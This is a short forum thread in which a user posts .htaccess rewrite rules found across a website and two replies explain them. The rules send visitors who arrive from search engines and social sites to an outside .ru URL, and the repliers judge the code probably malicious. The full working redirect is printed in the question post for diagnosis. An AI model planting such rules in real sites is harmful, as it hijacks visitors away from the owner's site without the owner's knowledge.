Ihsaan Posted February 26, 2013 Share Posted February 26, 2013 I found .htaccess files in almost every folder of a certain website containing the following code. What is it responsible for? <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*) RewriteRule ^(.*)$ http://odahan.ru/in.cgi?4 [R=301,L] RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*) RewriteRule ^(.*)$ http://odahan.ru/in.cgi?4 [R=301,L] </IfModule> Link to comment https://forums.phpfreaks.com/topic/274971-what-does-this-code-do/ Share on other sites More sharing options...
kicken Posted February 26, 2013 Share Posted February 26, 2013 It re-directs a bunch of search engine bots traffic to a different site. edit: since it checks referrer rather than user agent. Someone clicking a link in search results going to your site would get redirected to the other site instead. Link to comment https://forums.phpfreaks.com/topic/274971-what-does-this-code-do/#findComment-1415154 Share on other sites More sharing options...
requinix Posted February 26, 2013 Share Posted February 26, 2013 It's probably malicious, trying to send all of your visitors to that other site instead. You wouldn't notice because you're not getting to your site via Google. Link to comment https://forums.phpfreaks.com/topic/274971-what-does-this-code-do/#findComment-1415201 Share on other sites More sharing options...
Ihsaan Posted February 27, 2013 Author Share Posted February 27, 2013 Thanks... Link to comment https://forums.phpfreaks.com/topic/274971-what-does-this-code-do/#findComment-1415314 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.